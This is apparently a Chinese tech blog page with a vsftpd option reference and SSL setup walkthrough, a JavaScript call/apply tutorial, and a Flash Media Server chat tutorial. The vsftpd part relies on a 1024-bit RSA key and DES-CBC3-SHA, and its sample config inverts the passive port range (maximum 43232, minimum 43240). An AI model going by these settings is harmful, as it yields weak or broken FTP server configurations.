如果启用,log文件将以标准的xferlog格式写入(wu-ftpd使用的格式),以便于你用现有的统计分析工具进行分析。但默认的格式具有更好的可读性。默认情况下,log文件是在/var/log/xferlog。
但是,你可以通过修改xferlog_file来指定新路径。
默认值:NO

======
数字选项
以下是数字配置项。这些项必须设置为非负的整数。为了方便umask设置,容许输入八进制数,那样的话,数字必须以0开始。

accept_timeout
超时,以秒为单位,设定远程用户以被动方式建立连接时最大尝试建立连接的时间。
默认值:60

anon_max_rate
对于匿名用户,设定容许的最大传送速率,单位:字节/秒。
默认值:0 (无限制)

anon_umask
为匿名用户创建的文件设定权限。注意:如果你想输入8进制的值,那么其中的0不同于10进制的0。
默认值:077

connect_timeout
超时。单位:秒。是设定远程用户必须回应PORT类型数据连接的最大时间。
默认值:60

data_connection_timeout
超时,单位:秒。设定数据传输延迟的最大时间。时间一到,远程用户将被断开连接。
默认值:300

file_open_mode
对于上传的文件设定权限。如果你想被上传的文件可被执行,umask要改成0777。
默认值:0666

ftp_data_port
设定PORT模式下的连接端口(只要connect_from_port_20被激活)。
默认值:20

idle_session_timeout
超时。单位:秒。设置远程客户端在两次输入FTP命令间的最大时间。时间一到,远程客户将被断开连接。
默认值:300

listen_port
如果vsftpd处于独立运行模式,这个端口设置将监听的FTP连接请求。
默认值:21

local_max_rate
为本地认证用户设定最大传输速度,单位:字节/秒。
默认值:0(无限制)

local_umask
设置本地用户创建的文件的权限。注意:如果你想输入8进制的值,那么其中的0不同于10进制的0。
默认值:077

max_clients
如果vsftpd运行在独立运行模式,这里设置了容许连接的最大客户端数。再后来的用户端将得到一个错误信息。
默认值:0(无限制)

max_per_ip
如果vsftpd运行在独立运行模式,这里设置了容许一个IP地址的最大接入客户端。如果超过了最大限制,将得到一个错误信息。
默认值:0(无限制)

pasv_max_port
指定为被动模式数据连接分配的最大端口。可用来指定一个较小的范围以配合防火墙。
默认值:0(使用任何端口)

pasv_min_port
指定为被动模式数据连接分配的最小端口。可用来指定一个较小的范围以配合防火墙。
默认值:0(使用任何端口)

trans_chunk_size
你一般不需要改这个设置。但也可以尝试改为如8192去减小带宽限制的影响。
默认值:0(让vsftpd自行选择)

===========
STRING 配置项
以下是STRING 配置项

anon_root
设置一个目录,在匿名用户登录后,vsftpd会尝试进到这个目录下。如果失败则略过。
默认值:无

banned_email_file
deny_email_enable启动后,匿名用户如果使用这个文件里指定的E-MAIL密码登录将被拒绝。
默认值:/etc/vsftpd.banned_emails

banner_file
设置一个文本,在用户登录后显示文本内容。如果你设置了ftpd_banner,ftpd_banner将无效。
默认值:无

chown_username
改变匿名用户上传的文件的所有者。需设定chown_uploads。
默认值:ROOT

chroot_list_file
这个项提供了一个本地用户列表,表内的用户登录后将被放在虚根下,并锁定在home目录。这需要chroot_list_enable项被启用。
如果chroot_local_user项被启用,这个列表就变成一个不将列表里的用户锁定在虚根下的用户列表了。
默认值:/etc/vsftpd.chroot_list

cmds_allowed
以逗号分隔的方式指定可用的FTP命令(post login. USER, PASS and QUIT 是始终可用的命令)。
其他命令将被屏蔽。这是一个强有力的locking down一个FTP服务器的手段。例如:cmds_allowed=PASV,RETR,QUIT
默认值:无

deny_file
这可以设置一个文件名或者目录名式样以阻止在任何情况下访问它们。并不是隐藏它们,而是拒绝任何试图对它们进行的操作(下载,改变目录层,
和其他有影响的操作)。这个设置很简单,而且不会用于严格的访问控制-文件系统权限将优先生效。然而,这个设置对确定的虚拟用户设置很有用。
特别是如果一个文件能多个用户名访问的话(可能是通过软连接或者硬连接),那就要拒绝所有的访问名。
建议你为使用文件系统权限设置一些重要的安全策略以获取更高的安全性。如deny_file={*.mp3,*.mov,.private}
默认值:无

dsa_cert_file
这个设置为SSL加密连接指定了DSA证书的位置。
默认值:无(有一个RSA证书就够了)

email_password_file
在设置了secure_email_list_enable后,这个设置可以用来提供一个备用文件。
默认值:/etc/vsftpd.email_passwords

ftp_username
这是用来控制匿名FTP的用户名。这个用户的home目录是匿名FTP区域的根。
默认值:ftp

ftpd_banner
当一个连接首次接入时将现实一个欢迎界面。
默认值:无(默认的界面会被显示)

guest_username
参见相关设置guest_enable。这个设置设定了游客进入后,其将会被映射的名字。
默认:ftp

hide_file
设置了一个文件名或者目录名列表,这个列表内的资源会被隐藏,不管是否有隐藏属性。但如果用户知道了它的存在,
将能够对它进行完全的访问。hide_file里的资源和符合hide_file指定的规则表达式的资源将被隐藏。vsftpd的
规则表达式很简单,例如hide_file={*.mp3,.hidden,hide*,h?}
默认值:无

listen_address
如果vsftpd运行在独立模式下,本地接口的默认监听地址将被这个设置代替。
需要提供一个数字化的地址。
默认值:无

listen_address6
如果vsftpd运行在独立模式下,要为IPV6指定一个监听地址(如果listen_ipv6被启用的话)。
需要提供一个IPV6格式的地址。
默认值:无

local_root
设置一个本地(非匿名)用户登录后,vsftpd试图让他进入到的一个目录。如果失败,则略过。
默认值:无

message_file
当进入一个新目录的时候,会查找这个文件并显示文件里的内容给远程用户。dirmessage_enable需启用。
默认值:.message

nopriv_user
这是vsftpd做为完全无特权的用户的名字。这是一个专门的用户,比nobody更甚。用户nobody往往用来在一些机器上做一些重要的事情。
默认值:nobody

pam_service_name
设定vsftpd将要用到的PAM服务的名字。
默认值:ftp

pasv_address
当使用PASV命令时,vsftpd会用这个地址进行反馈。需要提供一个数字化的IP地址。
默认值:无(地址将取自进来(incoming)的连接的套接字)

rsa_cert_file
这个设置指定了SSL加密连接需要的RSA证书的位置。
默认值:/usr/share/ssl/certs/vsftpd.pem

secure_chroot_dir
这个设置指定了一个空目录,这个目录不容许ftp user写入。在vsftpd不希望文件系统被访问时,目录为安全的虚根所使用。
默认值: /usr/share/empty

ssl_ciphers
这个设置将选择vsftpd为加密的SSL连接所用的SSL密码。详细信息参见ciphers。
默认值:DES-CBC3-SHA

user_config_dir
这个强大的设置容许覆盖一些在手册页中指定的配置项(基于单个用户的)。用法很简单,最好结合范例。如果你把user_config_dir
改为/etc/vsftpd_user_conf,那么以chris登录,vsftpd将调用配置文件/etc/vsftpd_user_conf/chris。
默认值:无

user_sub_token
这个设置将依据一个模板为每个虚拟用户创建home目录。例如,如果真实用户的home目录通过guest_username为/home/virtual/$USER 指定,
并且user_sub_token设置为 $USER ,那么虚拟用户fred登录后将锁定在/home/virtual/fred下。
默认值:无

userlist_file
当userlist_enable被激活,系统将去这里调用文件。
默认值:/etc/vsftpd.user_list

vsftpd_log_file
只有xferlog_enable被设置,而xferlog_std_format没有被设置时,此项才生效。这是被生成的vsftpd格式的log文件的名字。
dual_log_enable和这个设置不能同时启用。如果你启用了syslog_enable,那么这个文件不会生成,而只产生一个系统log.
默认值:/var/log/vsftpd.log

xferlog_file
这个设置是设定生成wu-ftpd格式的log的文件名。只有启用了xferlog_enable和xferlog_std_format后才能生效。
但不能和dual_log_enable同时启用。
默认值:/var/log/xferlog

 

=============================================================================

[root@red-hat-5 ~]#openssl req -x509 -nodes -days 365 -newkey rsa:1024 \-keyout /etc/vsftpd/vsftpd.pem \-out /etc/vsftpd/vsftpd.pem  ==è生成vsftpd.pem 证书
Generating a 1024 bit RSA private key
..++++++
....................................++++++
writing new private key to 'vsftpd.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [GB]:cn
State or Province Name (full name) [Berkshire]: shanghai
Locality Name (eg, city) [Newbury]:shanghai
Organization Name (eg, company) [My Company Ltd]:ys   ==è根据提示填写一些信息
Organizational Unit Name (eg, section) []:ys
Common Name (eg, your name or your server's hostname) []:viong
Email Address []:viong@viong.com
 
[root@localhost ~]# ll /etc/vsftpd/  ==è查看是否生成vsftpd.pem文件
-rw-r--r-- 1 root root  197 12-25 19:57 chroot_list
-rw--------1 root root 125 2007-12-13 ftpusers
-rw------- 1 root root  361 2007-12-13 user_list
-rw------- 1 root root 4396 12-25 19:19 vsftpd.conf
-rwxr--r-- 1 root root  338 2007-12-13 vsftpd_conf_migrate.sh
-rw-r--r-- 1 root root 2168 01-08 01:53 vsftpd.pem  ==è生成vsftpd.pem成功
 
[root@red-hat-5 ~]# vi /etc/vsftpd/vsftpd.conf  ==è编辑主配置文件,添加以下参数
ssl_enable=YES
allow_anon_ssl=NO
force_local_data_ssl=YES
force_local_logins_ssl=YES
ssl_tlsv1=YES
ssl_sslv2=NO
ssl_sslv3=NO
rsa_cert_file=/etc/vsftpd/vsftpd.pem
下面是ssl参数一些定义,根据自己需求去修改
ssl_enable=yes/no             //是否启用 SSL,默认为no
allow_anon_ssl=yes/no         //是否允许匿名用户使用SSL,默认为no
rsa_cert_file=/path/to/file       //rsa证书的位置
dsa_cert_file=/path/to/file      //dsa证书的位置
force_local_logins_ssl=yes/no    //非匿名用户登陆时是否加密,默认为yes
force_local_data_ssl=yes/no     //非匿名用户传输数据时是否加密,默认为yes
force_anon_logins_ssl=yes/no    //匿名用户登录时是否加密,默认为no
force_anon_data_ssl=yes/no     //匿名用户数据传输时是否加密,默认为no
ssl_sslv2=yes/no               //是否激活sslv2加密,默认no
ssl_sslv3=yes/no                //是否激活sslv3加密,默认no
ssl_tlsv1=yes/no                //是否激活tls v1加密,默认yes
ssl_ciphers=加密方法            //默认是DES-CBC3-SHA
[root@red-hat-5 ~]# service vsftpd restart
关闭vsftpd:                                             [确定]
为vsftpd启动vsftpd:                                     [确定]
=================================================================

pam_service_name=vsftpd
userlist_enable=YES
tcp_wrappers=YES

listen_ipv6=NO
anonymous_enable=NO
local_enable=YES
write_enable=YES
local_umask=022
connect_from_port_20=YES

userlist_enable=YES
userlist_deny=NO
userlist_file=/etc/vsftpd/user_list

chroot_local_user=YES
chroot_list_enable=NO
#chroot_list_file=/etc/vsftpd/chroot_list

listen=YES
listen_port=43231
pasv_max_port=43232
pasv_min_port=43240

 

 

 

 

发表在 article | 标签为 | 66条评论

JavaScript中call和apply方法

JavaScript中有一个call和apply方法,其作用基本相同,但也有略微的区别。

call 方法
调用一个对象的一个方法,以另一个对象替换当前对象。

call([thisObj[,arg1[, arg2[,   [,.argN]]]]])

参数

thisObj
可选项。将被用作当前对象的对象。

arg1, arg2,  , argN
可选项。将被传递方法参数序列。

说明

call 方法可以用来代替另一个对象调用一个方法。call 方法可将一个函数的对象上下文从初始的上下文改变为由 thisObj 指定的新对象。

如果没有提供 thisObj 参数,那么 Global 对象被用作 thisObj。

说明白一点其实就是更改对象的内部指针,即改变对象的this指向的内容。这在面向对象的js编程过程中有时是很有用的。

引用网上一个代码段,运行后自然就明白其道理。

<
input 
type
=”text”
 id
=”myText”
   value
=”input text”
>



<
script
>


    

function
 Obj(){
this
.value
=

对象!


;}
    

var
 value
=

global 变量


;
    

function
 Fun1(){alert(
this

.value);}

 

    window.Fun1();   
//
global 变量



    Fun1.call(window);  
//
global 变量



    Fun1.call(document.getElementById(‘myText’));  
//
input text



    Fun1.call(
new
 Obj());   
//
对象!



</
script
>

call函数和apply方法的第一个参数都是要传入给当前对象的对象,及函数内部的this。后面的参数都是传递给当前对象的参数。
运行如下代码:

<
script
>


   

var
 func
=
new
 
function
(){
this
.a
=

func


}
    

var
 myfunc
=
function

(x){
        

var
 a
=

myfunc


;
        alert(

this

.a);
        alert(x);
    }
    myfunc.call(func,


var


);

</
script
>

可见分别弹出了func和var。到这里就对call的每个参数的意义有所了解了。

对于apply和call两者在作用上是相同的,但两者在参数上有区别的。
对于第一个参数意义都一样,但对第二个参数:
apply传入的是一个参数数组,也就是将多个参数组合成为一个数组传入,而call则作为call的参数传入(从第二个参数开始)。


如 func.call(func1,var1,var2,var3)对应的apply写法为:func.apply(func1,[var1,var2,var3])

同时使用apply的好处是可以直接将当前函数的arguments对象作为apply的第二个参数传入

 

 

call方法在msdn中的解释  调用一个对象的一个方法,以另一个对象替换当前对象。

apply方法在msdn中的解释 应用某一对象的一个方法,用另一个对象替换当前对象。

这个解释也是非常抽象的,这两个方法的作用基本是一样的,举个例子

<script>
function cls1()
{
  this.a=’123′;
}
cls1.prototype.fun1=function()
{
  alert(this.a);
}
function cls2()
{
  this.a=’456′;
}
var o1=new cls1();
var o2=new cls2();
o1.fun1.apply(o2);
</script>

只有o1对象的类cls1中有fun1这个方法,但是,这时我们需要用o2对象替代o1对象,所以这个时候显示的this.a会是456,呵呵很神奇吧,换成call方法也是一样的,这两种方法使用的不同点仅仅是参数的使用方法上不同,这里就不多做解释了。

,函数的apply与call方法

   这2个方法,困扰我很久,后来经过反复试用,终于弄明白.

apply和call,它们的作用都是将函数绑定到另外一个对象上去运行,两者仅在定义参数的方式有所区别:
Function.prototype.apply(thisArg,argArray);
Function.prototype.call(thisArg[,arg1[,arg2…]]);
从函数原型可以看到,第一个参数都被取名为thisArg,即所有函数内部的this指针都会被赋值为thisArg,这就实现了将函数作为另外一个对象的方法运行的目的。两个方法除了thisArg参数,都是为Function对象传递的参数。下面的代码说明了apply和call方法的工作方式:
//定义一个函数func1,具有属性p和方法A
function func1(){
      this.p=”func1-”;
      this.A=function(arg){
            alert(this.p+arg);
      }
}
//定义一个函数func2,具有属性p和方法B
function func2(){
      this.p=”func2-”;
      this.B=function(arg){
             alert(this.p+arg);
      }
}
var obj1=new func1();
var obj2=new func2();
obj1.A(“byA”);     //显示func1-byA
obj2.B(“byB”);     //显示func2-byB
obj1.A.apply(obj2,["byA"]); //显示func2-byA,其中[“byA”]是仅有一个元素的数组,下同
obj2.B.apply(obj1,["byB"]); //显示func1-byB
obj1.A.call(obj2,”byA”);   //显示func2-byA
obj2.B.call(obj1,”byB”);   //显示func1-byB
可以看出,obj1的方法A被绑定到obj2运行后,整个函数A的运行环境就转移到了obj2,即this指针指向了obj2。同样obj2的函数B也可以绑定到obj1对象去运行。代码的最后4行显示了apply和call函数参数形式的区别。
与arguments的length属性不同,函数对象还有一个属性length,它表示函数定义时所指定参数的个数,而非调用时实际传递的参数个数。例如下面的代码将显示2:
function sum(a,b){
      return a+b;
}

发表在 article | 标签为 | JavaScript中call和apply方法已关闭评论

一步一步学Flash Media Server

从今天起,我们来学习一下 Flash Media Server,简称FMS,从名字上我们可以看出这是一个媒体服务器,其它简单点理解就是一个交互服务器,而且可以实现媒体方面的交互,我们可以利用它来完成一些网络版的FLASH程序,比如聊天室,网络版的不是很复杂的游戏,等等。

大家可以到如下地址下载最新的3.0版本:
http://www.adobe.com/products/flashmediainteractive/

当然这个版本是开发版,开发版和正式版的区别在于开发版只支持10个连接数,不过对于我们学习已经是足够了.

大家安装完之后,我们会在安装目录里看到applications和logs这两个目录,这个是我们用的最多的两个目录,applications是我们放服务端程序的地方,而logs是放日志文件的地方,日志文件对我们调试程序很有帮助.

大家也可以修改这两个文件的路径,当然要更改配置文件,在conf目录里放的都是配置文件,我们打开fms.ini这个文件我们会找到

VHOST.APPSDIR =
LOGGER.LOGDIR =
这两项就是更改applications和logs路径的地方,如比我们改成:

VHOST.APPSDIR = e: \fms\applications
LOGGER.LOGDIR = e:\fms\logs

那么我们就在e盘建立相应的目录把程序入在里面就可以了.

确定FMS的服务打开了,就可以运行了,FMS有两个服务,在安装完后在开始菜单我们可以找到Start Flash Media Administration Server 3 和 Start Adobe Flash Media Server 3 这两个打开服务的菜单,要打开服务点这两个就可以了,前一个是FMS管理服务,后一个是FMS服务,Stop Flash Media Administration Server 3和Stop Adobe Flash Media Server 3就是关闭这个服务的,默认状态下,在电脑刚启动里,这两个服务就会启动,当然也可以在windows的服务里面来启动和关闭服务.

Flash Media Administration Console这个菜单项是打开管理后台,管理后台对我们调试程序是很有作用的,打开这个之后是一个登录界面,要求输入用户名密码和服务器地址,用户名和密码是我们在安装FMS就输入的,服务器地址就是我们要连的装有FMS的地址,我们连接本机就用localhost或者127.0.0.1就可以了,如果我们在安装的时候改了它的默认端口(1935)的话,我们在地址上还要加端口,如果没有改端口这里就不用加了,输入用户名密码和服务器地址,我们就可以进入管理界面了,具体如何操作,我们在后面会讲到.

整个教程,我会用一个聊天室的例子来讲解如何使用FMS,当然我只能讲出我所知道的知识,不能完全讲出FMS的强大的功能.

下节我们接触FMS基本的结构,下节继续.

今天我们来看一下FMS里面最重要的一个类—Application类.

Application类包含了有关一个Flash Media Server应用程序实例的信息,这些信息会一直维持直至这个应
用程序实例被卸载.

先看一下在Application类中常用的方法:

Application.acceptConnection()      接受一个来自客户机的至一个应用程序的连接。
Application.disconnect()                  从服务器断开一个客户机的连接。
Application.rejectConnection()       拒绝至一个应用程序的连接。
Application.shutdown()                    卸载应用程序实例。

再看一下在Application类中常用的属性:

Application.clients      一个对象,该对象包含了当前连接到这个应用程序的所有客户的一个列表。
Application.name       一个应用程序实例的名字。

最后看一下在Application类中常用的事件:

Application.onAppStart              当这个应用程序被服务器装载时调用。
Application.onAppStop              当这个应用程序被服务器卸载时调用。
Application.onConnect              当一个客户机连接到这个应用程序时调用。
Application.onDisconnect        当一个客户机从这个应用程序断开连接时调用。

(这些是比较常用的,还有其它一些,大家可以看FMS自带的文档)

我们来描述一下客户机连接的流程:

1.当第一个用户连接的时候,会启动服务端应该程序实例,这样就会触发Application.onAppStart事件,通常我们会里这个事件里做一些初如化的事情.

2.用户连接的时候会触发Application.onConnect事件,在这个事件里我们可以用Application.acceptConnection()方法来接受这个用户的连接,也可以用Application.rejectConnection()方法拒绝这个用户.

3.服务器想把一个用户断开的时候,可以用Application.disconnect()方法,当一个用户断开,不管是服务器把它断开,还是客户端自己断开,都会触发Application.onDisconnect事件.

4.使用Application.shutdown()方法可以卸载应用程序实例,当这个应该程序长时间(大概半个小时左右)没有客户端连接的时候,应该程序也会被卸载,当应该程序卸载的时候会触发Application.onAppStop事件.
我们写FMS程序时,大多数都是这样的流程.

今天我们来看一下用AS 3连接FMS3的代码(这些代码其它对FMS2也是适用的).

这个例子我们不会去写FMS的代码,但我们需要建一个FMS应该程序,其实就是建一个目录,在FMS放应该程序的目录(applications)里建一个文件夹,我们后面要做聊天室的例子,所以我们就建一个名叫chat的目录.
接下来就是客户端的代码了,我们建一个chat.fla的FLASH文件,再建一个文档类Chat.as:

package net.smilecn.chat{
   
    import flash.display.Sprite;
   
    import flash.net.NetConnection;
   
    import flash.events.NetStatusEvent;
   
    public class Chat extends Sprite{
       
        private var nc:NetConnection;
        private var rtmpUrl:String = “rtmp://localhost/chat”;
   
        public function Chat():void{
            nc=new NetConnection();
            nc.addEventListener (NetStatusEvent.NET_STATUS,netStatusHandler);
            nc.connect (rtmpUrl);
        }
       
        private function netStatusHandler(event:NetStatusEvent):void{
            trace(event.info.code);
        }
    }
   
}
这段代码里我们导入了一个NetConnection,这个类是FLASH里用于跟网络连接相关的操作,像我们连接FMS,remoting(我前面的一步一步学ActionScript 3[十六]里面有相关介绍).

NetStatusEvent是一个检测状态的事件

rtmpUrl是一个连接FMS的字符串,rtmp是FMS用的一个网络协议,localhost是服务器的IP,这里我们是本机,所以是 localhost,如果放在网上,应该是你网上的IP,chat是应用程序名,就是之前我们建立的chat目录.这里我们完整的地址就 是:rtmp://localhost/chat,其实如果是localhost,地址可以这样写:rtmpe:/localhost.

这个程序动行后会trace出NetConnection.Connect.Success,这个信息表示的是我们连接FMS成功了.

这是一个连接状态,event.info.code就是这个状态,相关的状态还有:

NetConnection.Connect.Closed  成功关闭连接。
NetConnection.Connect.Failed  连接尝试失败。
NetConnection.Connect.Rejected 连接尝试没有访问应用程序的权限。

这几个状态是我们用的比较多的,当然还有一些状态,在帮助里可以查到.

这是连接FMS最基本的代码,以后我们都会用到这些代码.下节继续.

今天我们讲一个非常简单的多人聊天功能,同样我们也没有服务端代码,今天要用到一个新东西—-SharedObject

先看一段代码,更改一下上一节中的代码:
package net.smilecn.chat{
   
    import flash.display.Sprite;
    import flash.net.NetConnection;
    import flash.net.SharedObject;
    import flash.events.NetStatusEvent;
    import flash.events.SyncEvent;
    import flash.events.MouseEvent;
    import fl.controls.TextArea;
    import fl.controls.Button;
    import fl.controls.TextInput;
 
   
    public class Chat extends Sprite{
       
        private var nc:NetConnection;
        private var rtmpUrl:String = “rtmp://localhost/chat”;
        private var button:Button;
        private var textArea:TextArea;
        private var textInput:TextInput;
        private var chatMsg_so:SharedObject;
        private var userName:String = “user001″;
   
        public function Chat():void{
            textArea=new TextArea();
            textArea.setSize (200,300);
            textArea.move (20,20);
            addChild (textArea);
 
            textInput=new TextInput();
            textInput.width = 140;
            textInput.move (20,330);
            addChild (textInput);
 
            button=new Button();
            button.width=50;
            button.label=”发送”;
            button.move (170,330);
            addChild(button);
            button.addEventListener (MouseEvent.CLICK,sendMsg);
           
           
            nc=new NetConnection();
            nc.addEventListener (NetStatusEvent.NET_STATUS,netStatusHandler);
            nc.connect (rtmpUrl);
        }
       
        private function netStatusHandler(event:NetStatusEvent):void{
            if(event.info.code == “NetConnection.Connect.Success”){
                chatMsg_so=SharedObject.getRemote(“chatMsg”,nc.uri,false);
                chatMsg_so.connect (nc);
                chatMsg_so.addEventListener (SyncEvent.SYNC,checkSO);
            }
        }
       
        private function checkSO (event:SyncEvent):void{
             for (var i:uint; i<event.changeList.length; i++)
             {
                    switch (event.changeList[i].code)
                    {
                        case “clear” :
                            trace(“clear”);
                            break;
                        case “success” :
                             trace (chatMsg_so.data.msg);
                             break;
 
                        case “change” :
                             textArea.appendText (chatMsg_so.data.msg + ” “);
                             break;
                   }
             }
        }
       
        private function sendMsg (e:MouseEvent):void{
             chatMsg_so.setProperty (“msg”,userName + “:” + textInput.text);
             textArea.appendText (userName + “:” + textInput.text + ” “);
             textInput.text = “”;
        }
 
 
    }
   
}
要看到效果,我们先了布一份EXE的文件,相当一个客户端,然后把userName改一个名字,前一个是user001,这个我们就改成user002,将那个EXE打开,再将FLASH里的这个发布,试着打上文字点发布,看看是不是达到了聊天的效果.

接下来来讲解一下代码:

在连接成功之后,有这样一句代码:chatMsg_so=SharedObject.getRemote(”chatMsg”,nc.uri,false);

chatMsg_so是我们定义的一个SharedObject实例,SharedObject–共享对象,官方的解释是这样的:

SharedObject 类用于在用户计算机或服务器上读取和存储有限的数据量。 使用共享对象,可在永久贮存在本地计算机或远程服务器上的多个客户端 SWF 文件和对象之间实现实时数据共享。 本地共享对象类似于浏览器 Cookie,远程共享对象类似于实时数据传输设备。

SharedObject可以用来存储数据,这里我们用到它是存储我们的聊天数据.

getRemote方法是得到一个远程共享对象,就是FMS上的一个共享对象,名字叫chatMsg,地址是nc.uri,最后一个参数是是否以文 件的形式保存下来,false表示不保存,当服务器上有这样一个名为chatMsg的共享对象时,这个方法就会得到这个共享对象,如果没有这相共享对象, 就会创建一个名为chatMsg的共享对象.

我们的代码中,第一个客户连进去后会创建一个共享对象,其它用户再进去,就是得到这个共享对象.

chatMsg_so.addEventListener (SyncEvent.SYNC,checkSO);

这句代码是侦听共享对象的状态

event.changeList[i].code就是状态,这里我们用了三个状态—-clear,success,change

clear是清除数据时(我们的代码中第一个人进去时会触发)
success是成功(我们的代码中自己发消息时会触发)
change是改变(我们的代码中别人发消息时会触发)

我们实现这个聊天功能实际是每个人去改变这个共享对象,然后共享对象改变了就会通知所有的客户端,其它人就会收到这个消息(注意自己不会收到change消息).

这个聊天在实际中用处不大,这里只是介绍共享对象的一个使用方式,而且这种聊天还有很多功能都没有实现.(本人不喜欢用共享对象)

在后面我们会讲解怎么写服务端代码,这两节都没有写服务端代码.下节继续.

今天我们的讲解的是在昨天代码的功能上加上在线列表的功能,同时会去掉共享对象,用另一种方法向客户端发消息.

先看看服务端代码我们更改些什么代码:
application.onAppStart = function() {
    this.chatMsgArray = new Array();
    this.userListArray = new Array();
}
 
application.onConnect = function(client, userName) {
    if(checkOnline(userName)){
        this.rejectConnection(client);
        return;
    }
    this.acceptConnection(client);
    client.userName = userName;
    this.userListArray.push(userName);
    sendUserList();
    //客户端调用方法
    client.getMsg = function(){
        return application.chatMsgArray;
    }
    client.sendMsg = function(msg){
        var chatInfo = this.userName + ” : ” + msg;
        application.chatMsgArray.push(chatInfo);
        sendMsgToClient(chatInfo);
    }
}
 
application.onDisconnect = function(client) {
    trace(“用户:”+client.userName+” 离开”);
    var len = this.userListArray.length;
    for(var i=0;i<len;i++){
        if(this.userListArray[i] == client.userName){
            this.userListArray.splice(i,1);
            sendUserList();
        }
    }
}
 
 
application.onAppStop = function() {
    delete this.chatMsg_so;
}
 
function checkOnline(userName){
    var len = application.userListArray.length;
    for(var i=0;i<len;i++){
        if(application.userListArray[i] == userName){
            return true;
        }
    }
    return false;
}
 
function sendMsgToClient(chatInfo){
    var len = application.clients.length;
    for(var i=0;i<len;i++){
        application.clients[i].call(“getMsgInfo”,null,chatInfo);
    }
}
 
function sendUserList(){
    var len = application.clients.length;
    for(var i=0;i<len;i++){
        application.clients[i].call(“getUserList”,null,application.userListArray);
    }
}
this.chatMsgArray = new Array();
this.userListArray = new Array();

这两个定义的数组是在开始定义的,chatMsgArray是存储所有的聊天信息,userListArray是一个存储在线列表的数组

当用户连接进来的时候,我们用了一个函数checkOnline来检查用户是不是在在线列表中,如果在就用this.rejectConnection(client);拒绝这个连接,如果不在就接受这个连接并加到在线列表中

sendUserList函数是向所以客户端发送在线列表信息,application.clients是一个存储所以客户端连接的信息,application.clients.call就是调用客户端函数,使用方法跟客户端调服务器端是一样的.

然后我们增加了1个供客户端调用的函数

client.getMsg = function(){
      return application.chatMsgArray;
}
client.getMsg是返回所有的聊天信息,当用户第一次连接时,得到别人的聊天记录

在用户断开连接的时候增加了将断线用户从在线列表中清除,并且发送在线列表.

再来看看客户端代码:

package net.smilecn.chat{
   
    import flash.display.Sprite;
    import flash.net.NetConnection;
    import flash.net.Responder;
    import flash.events.NetStatusEvent;
    import flash.events.SyncEvent;
    import flash.events.MouseEvent;
    import fl.controls.TextArea;
    import fl.controls.Button;
    import fl.controls.TextInput;
    import fl.controls.Label;
    import fl.controls.List;
    import fl.data.DataProvider;
 
   
    public class Chat extends Sprite{
       
        private var nc:NetConnection;
        private var rtmpUrl:String = “rtmp://localhost/chat”;
        private var msg:Label;
        private var userNameInput:TextInput;
        private var enterBtn:Button;
        private var button:Button;
        private var textArea:TextArea;
        private var textInput:TextInput;
        private var userList:List;
       
        private var userName:String = “user002″;
   
        public function Chat():void{
            userNameInput = new TextInput();
            userNameInput.move(100,200);
            addChild(userNameInput);
            enterBtn = new Button();
            enterBtn.move(220,200);
            enterBtn.label = “进入”;
            addChild(enterBtn);
            enterBtn.addEventListener(MouseEvent.CLICK,enterBtnClickHandler);
            msg = new Label();
            msg.move(100,230);
            msg.text = “”;
            addChild(msg);
        }
       
        private function enterBtnClickHandler(event:MouseEvent):void{
            if(userNameInput.text!=”"){
                userName = userNameInput.text;
                removeChild(userNameInput);
                removeChild(enterBtn);
                removeChild(msg);
           
                textArea=new TextArea();
                textArea.setSize (200,300);
                textArea.move (20,20);
                addChild (textArea);
 
                textInput=new TextInput();
                textInput.width = 140;
                textInput.move (20,330);
                addChild (textInput);
 
                button=new Button();
                button.width=50;
                button.label=”发送”;
                button.move (170,330);
                addChild(button);
                button.addEventListener (MouseEvent.CLICK,sendMsg);
               
                userList = new List();
                userList.move(250,20);
                userList.setSize(100,300);
                addChild(userList);
           
                nc=new NetConnection();
                nc.addEventListener (NetStatusEvent.NET_STATUS,netStatusHandler);
                nc.connect (rtmpUrl,userName);
                nc.client = this;
            }else{
                msg.text = “请输入用户名”;
            }
           
        }
       
        private function netStatusHandler(event:NetStatusEvent):void{
            trace(“event.info.code:”,event.info.code);
            if(event.info.code == “NetConnection.Connect.Success”){
                nc.call(“getMsg”,new Responder(getMsgResult,getMsgFault))
            }
        }
       
        private function getMsgResult(re:Array):void{
            var s:String=”";
            var len:Number = re.length;
            for(var i=0;i<len;i++){
                s += re[i]+” “;
            }
            textArea.text = s;
        }
       
        private function getMsgFault(fe:*):void{
            trace(fe);
        }
       
        private function sendMsg (e:MouseEvent):void{
            nc.call(“sendMsg”,null,textInput.text);
            textInput.text = “”;
        }
       
        public function getMsgInfo(msg:String):void{
            textArea.appendText(msg+” “);
        }
       
        public function getUserList(list:Array):void{
            userList.dataProvider = new DataProvider(list);
        }
    }
   
}
客户端首先增加了一个用户输入名字,这是些简单的代码.

然后共享对象的那部份去掉了,加了句这样的代码:nc.client = this;

这句话的意思是指定当前对象为服务器回调方法的对象

public function getMsgInfo(msg:String):void{
       textArea.appendText(msg+”\n”);
}
 
public function getUserList(list:Array):void{
       userList.dataProvider = new DataProvider(list);
}
这两个方法就是服务器调用的方法.

在nc连接成功的地方加了句nc.call(”getMsg”,new Responder(getMsgResult,getMsgFault)),这句是在刚连接成功的时候得到以前用户的聊天记录.

顺便说一句,客户端代码用到了组件,所以要把这些组件放到库中才能运行,上一节也是这样的.

下节继续.

当我们要加的功能越来越多时,就会发现程序会越写越大,这样我们就需要更好的组织我们的程序,用类是最好方法,但FMS用的是AS1.0的语法,没有真正意义的类,但也能完成类的简

单功能,不管怎么样,总比没有类好,今天我们就来看一下如果在AS1.0里使用类,当然这不是真正的类.

现在我们将上一节中用到的用户列表做一下修改,写成一个类,上一节中我们用了userListArray这样一个数组来存储用户列表,现在我们把用户列表写成一个类:
先建一个UserList.asc文件,这就是我们要用的类的文件名,当然UserList也是类名(其实并不需要文件名和类名相同,因为这不是真正意义上的类)

function UserList(){
    this.listArray = [];//也可以用new Array(),不过听说[]效率更高;
}
 
UserList.prototype.addUser = function(userName){
    this.listArray.push(userName);
}
 
UserList.prototype.delUser = function(userName){
    var len = this.listArray.length;
    for(var i=0;i<len;i++){
        if(this.listArray[i] == userName){
            this.listArray.splice(i,1);
            break;
        }
    }
}
 
UserList.prototype.checkOnline = function(userName){
    var len = this.listArray.length;
    for(var i=0;i<len;i++){
        if(this.listArray[i] == userName){
            return true;
        }
    }
    return false;
}
